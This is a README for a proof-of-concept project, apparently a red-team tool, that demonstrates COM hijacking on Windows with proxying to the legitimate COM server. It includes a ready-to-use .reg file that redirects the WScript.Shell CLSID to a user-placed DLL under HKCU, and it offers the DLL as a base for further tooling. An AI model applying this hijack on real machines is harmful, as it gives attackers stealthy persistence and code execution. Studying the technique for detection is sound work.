A COM client and server for testing COM hijack proxying. If you are running a COM hijack, proxying the legitimate COM server may result in better stability, thats the idea around this PoC.

This also provides an example in-process COM server DLL that can be taken and modified for your tooling. This implementation will read whatever COM CLSID is being hijacked, attempt to find the legitimate path in HKLM\Software\Classes\CLSID, and proxy the COM interface so the COM client receives the expected pointers.

How to setup the test case?

Build both projects. The TestCOMClient will create a WScript.Shell object and run calc. The TestCOMServer is a COM server DLL that will start a thread printing to the screen every second.

Run this in a .reg file for the hijack:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}]
@="Test Hijack"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32]
@="C:\\Users\\user\\Desktop\\TestCOMServer.dll"
"ThreadingModel"="Apartment"